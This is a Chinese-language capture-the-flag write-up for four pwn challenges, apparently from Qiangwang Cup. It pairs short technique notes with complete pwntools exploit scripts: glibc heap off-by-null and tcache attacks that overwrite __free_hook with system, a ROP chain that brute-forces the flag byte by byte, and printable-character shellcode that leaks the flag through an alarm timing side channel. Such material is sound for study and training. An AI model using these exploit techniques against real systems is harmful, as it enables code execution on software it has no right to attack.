记得去年做2个题,今年被学长带着也就做4个题,,所以菜的人学一年就只能多做俩题而已(
跟学长一起打比赛的体验比自己闷头做的体验好太多
baby_diary
2.29版本以上的off-by-null,边学边做。。
保姆级教程:
通过伪造堆块绕过向下合并的检查、通过large_bin的fd_nextsize和bk_nextsize在没有堆地址的情况下,利用fastbin的fd和smallbin的bk来绕过unlink的检查
溢出半字节,除了输入全为0可以将半个字节改为0以外,只能控制溢出的半个字节为非0的数字
一开始想着只要清空prev_inuse
就行,不管其他两个标志位,后来发现会过不了检查或者有奇奇怪怪得段错误,所以还是全0将溢出的半个字节置0,再两次输入构造prev_size
由于会在输入后面加一个\x00
,并且\x00
后还有半字节的溢出,这就1/256的爆破概率了,题目还会在输出时对堆块内容检查并判断,但是检查比较宽松,整体爆破概率应该是1/2048
#!/usr/bin/python
from pwn import *
import sys
context.arch='amd64'
local=0
binary_name='baby_diary'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
def pwn():
if local:
p=process("./"+binary_name)
else:
p=remote('8.140.114.72',1399)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla(">> ",str(num))
def add(size,content):
cho(1)
sla("size: ",str(size))
sla("content: ",content)
def show(idx):
cho(2)
sla('index: ',str(idx))
def delete(idx):
cho(3)
sla("index: ", str(idx))
add(0x6000-0x410+0x70, "padding") # 7-7
for i in range(7): # 8-14 -7
add(0x27, 't')
add(0xb20, "largebin") # 15-7
add(0x10, p64(0x21)) # 16-7
delete(15-7)
add(0x1000,p64(0x21)) # 15-7
add(0x27, p64(7) + p64(0x501) + p8(0x80))#17-7 0x555555560050
add(0x27, 'a') # 18-7
add(0x27, 'b') # 19-7
add(0x27, 'c') # 20-7
add(0x27, 'd') # 21-7
# fill in tcache_entry[1](size: 0x30)
for i in range(7): # 8-14 -7
delete(8 + i - 7)
delete(20-7)
delete(18-7)
for i in range(7): # 8-14 -7
add(0x27, '\n')
# fastbin to smallbin
add(0x3f0, '\n') # 18-7
add(0x27, p64(0) + p8(0x60)) # 0x555555560080
add(0x27, 'clear') # 21-7
for i in range(7): # 8-14 -7
delete(8 + i - 7)
delete(19-7)
delete(17-7)
for i in range(7): # 8-14 -7
add(0x27, '\n')
# change fake chunk's bk->fd
add(0x27, p8(0x60))
add(0x27, "clear")
add(0x17, "a") # 23-7 overwrite
add(0x5f7, "a") # 24-7 trigger off-by-null
add(0x100, p64(0x21)) # 25-7
delete(23-7)
add(0x17,'\x00'*0x17)
delete(23-7)
add(0x17, b"\x00"*0xf+b'\x05')
delete(24-7)#overlap
delete(23-7)
add(0x17, '\x0f')
delete(24-7)
add(0x4d0,'')
show(16)
ru('content: ')
libcbase = leak_address() - 0x1ebbe0
print(hex(libcbase))
free_hook = libcbase+libc.sym['__free_hook']
malloc_hook = libcbase+libc.sym['__malloc_hook']
system = libcbase+libc.sym['system']
delete(24-7)
add(0xb17, b'a'*0x4d0+p64(0)+p64(0x81)+b'b'*0x20)
add(0x77,'') # 26-7
delete(26-7)
delete(23-7)
delete(24-7)
add(0xb17, b'a'*0x4d0+p64(0)+p64(0x81)+p64(free_hook)) # 23-7
add(0x77,'/bin/sh') # 24-7
add(0x77,p64(system)) # 26-7
delete(24-7)
ia()
a = 0
while True:
try:
a += 1
print(a)
pwn()
except:
pass
no_output
需要产生除0错误进入溢出函数,学长随便试了一下用最小负数除以负一就过了,后来找了一下资料
int16_t a = -32768; int16_t b = -1; int16_t c = a / b;
在这种情况下,由于带符号整数的二进制补码表示形式,因此无法在带符号的16位整数中表示正32768,因此除法运算会溢出,从而导致-32768的错误值。
程序没有输出函数,无法泄露地址,最后or flag之后,再通过文件里存在的比较函数逐字节爆破flag
写了个比较菜的手动爆破脚本,一开始还傻傻的爆完了real_flag.txt
文件里面的内容。。。
#!/usr/bin/python
from pwn import *
import sys
context.arch='amd64'
local=1
binary_name='test'
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
open1 = 0x080490F0
read1 = 0x80490C0
cmp = 0x080494D6
main = 1
bss = 0x0804C084
pop_4 = 0x08049580
pop_3 = 0x08049581
pop_2 = 0x08049582
pop_rbx = 0x08049022
#don't change this file!!!
flag = 'qwb{n0_1nput_1s_great!!!}'
l = len(flag)
for j in range(32,127):
try:
#p=process("./"+binary_name)
p=remote('39.105.138.97', 1234)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
sd(p64(0)+b'b'*0x28)
sleep(0.2)
sd(b'a'*0x20)
sleep(0.2)
sl('hello_boy\x00')
sleep(0.2)
sl('-925904832333333')
sleep(0.2)
sl('-1')
pd = b'a'*0x48+b'b'*4
pd += p32(read1)+p32(pop_3)+p32(0)+p32(bss)+p32(0x4)
pd += p32(open1)+p32(pop_2)+p32(bss)+p32(4)
pd += p32(read1)+p32(pop_3)+p32(4)+p32(bss)+p32(0x30)
pd += p32(read1)+p32(pop_3)+p32(0)+p32(bss+0x100)+p32(l+2)
pd += p32(cmp)+p32(bss)+p32(bss+0x100)
sleep(0.2)
sd(pd)
sleep(0.2)
sd("flag")
sleep(0.2)
sl(flag+chr(j)+'\x00')
sleep(0.2)
sl('-925904832333333')
sleep(0.2)
sl('-1')
sleep(0.5)
print('[+]SUCCESS! '+flag+chr(j))
ia()
except:
print("[-]ERROR! Now is "+chr(j))
shellcode
限制输入的字符只能为可见字符,系统调用开放了32位的open,64位的read、mmap、alarm,专门把32位的write禁掉了
保姆级教程:
没有输出的系统调用,还有一个匪夷所思的alarm,学长当即表示读flag到内存后可以把flag当成alarm的参数,通过计时侧信道爆破flag
不得不说这题思路新奇,破脚本修修补补跑第6次得到了完全正确的flag
#coding:utf-8
from pwn import *
import time
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_x86 = asm(shellcode_x86)
append_x86 = '''
push ebx
pop ebx
'''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
flag = ''
for i in range(0,40):
p = remote("39.105.137.118",50050)
shellcode_flag = '''
push 0x33
push 0x40404060
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
mov rax,37
add rsi,'''+str(i)+'''
movzx rdi,byte ptr [rsi]
syscall
push 0x40404083
ret
nop
'''
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print("No."+hex(i))
p.sendline(shellcode)
print(flag)
sleep(1)
p.sendline(shellcode_x86 + shellcode_flag)
time_start=time.time()
while True:
try:
sleep(0.1)
p.sendline('a')
except:
time_end=time.time()
break
p.interactive()
time_end=time.time()
ch = round(time_end-time_start)
print(str(i)+":"+chr(ch))
flag += chr(ch)
#flag{ddc31bff2aa2521
#flag{cdd41bff2aa2521
#flah{cdd32bf53b73531c:4b7:0bd1:79956d}
#flag{cdd32bf53b73531c94b790bd1979956d}
#flag{cdc32cg63a73632d:3c7:0ad2:78867d}
#flag{cdc31bf52a72521c93b690ad1978856d}
pipeline
百度到的2018年强网杯也有 realloc + no free 的题目,文艺复兴2333
append函数取4字节判断size
和chunksize-offset
大小,取小的数值转换为2字节作为允许输入的长度,输入一个第四位为0的负数就能随便溢出
开始的时候用一个堆块保存堆块的地址和最大长度,用来限制realloc的堆块的范围
思路是从unsortedbin泄露libc地址,从fastbin泄露堆地址,tcache attack打链表结构,来破坏堆块的限制,然后就是tcache attack打free_hook了
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='pipeline'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
else:
p=remote('59.110.173.239', 2399)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla('>> ',str(num))
def add():
cho(1)
def edit(idx, off, sz):
cho(2)
sla('index: ', str(idx))
sla('offset:', str(off))
sla('size: ', str(sz))
def delete(idx):
cho(3)
def app(idx, sz, data):
cho(4)
sla('index: ', str(idx))
sla('size: ', str(sz))
sla('data: ', data)
def show(idx):
cho(5)
sla('index: ', str(idx))
add()
add()
add()
add()
add()
add()
add()
add()
add()
edit(1,0,0x420+0x30)
edit(0,0,0x18)
edit(4,0,0x390+0x40)
edit(3,0,0x18)
edit(1,0,0x420+0x40)
edit(0,0,0x28)
edit(2,0,0x420)
edit(4,0,0x390+0x40)
edit(3,0,0x28)
edit(5,0,0x390)
show(2)
ru('data: ')
libcbase = leak_address() - 0x1ebbe0
free_hook = libcbase+0x1eeb28
system = libcbase+0x55410
print(hex(libcbase))
app(4,0xffff03e0,b'a'*0x3d8+b'b'*8)
show(4)
ru(b'b'*8)
heap = leak_address() - 0x580
print(hex(heap))
app(4,0xffff0fff,b'a'*0x3d8+p64(0x21)+p64(heap)+p32(0))
edit(6,0,0x18)
edit(7,0,0x18)
app(6,8,'/bin/sh\x00')
app(7,16,p64(heap-0x20)+p32(0)+p32(0x100))
app(0,0x10,p64(0)+p64(0x7fffffffffffffff))
app(7,16,p64(free_hook)+p32(0)+p32(0x100))
app(0,16,p64(system))
show(0)
edit(6,0,0)
ia()